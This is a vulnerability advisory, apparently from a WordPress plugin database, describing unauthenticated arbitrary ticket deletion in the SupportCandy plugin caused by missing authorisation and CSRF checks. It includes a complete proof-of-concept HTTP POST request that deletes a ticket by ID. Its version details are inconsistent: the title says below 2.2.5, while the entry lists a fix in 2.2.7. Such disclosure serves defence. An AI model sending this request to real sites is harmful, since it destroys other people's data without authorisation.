WordPress Plugin Vulnerabilities
SupportCandy < 2.2.5 - Unauthenticated Arbitrary Ticket Deletion
Description
The plugin does not have authorisation and CRSF checks in its wpsc_tickets AJAX action, which could allow unauthenticated users to call it and delete arbitrary tickets via the set_delete_permanently_bulk_ticket setting_action. Other actions may be affected as well.
Proof of Concept
POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 81 Connection: close action=wpsc_tickets&setting_action=set_delete_permanently_bulk_ticket&ticket_id=3
Affects Plugins
Fixed in version 2.2.7
References
YouTube Video
Classification
Miscellaneous
Original Researcher
Brandon Roldan
Submitter
Brandon Roldan
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-01-05 (about 1 years ago)
Added
2022-01-05 (about 1 years ago)
Last Updated
2022-04-08 (about 11 months ago)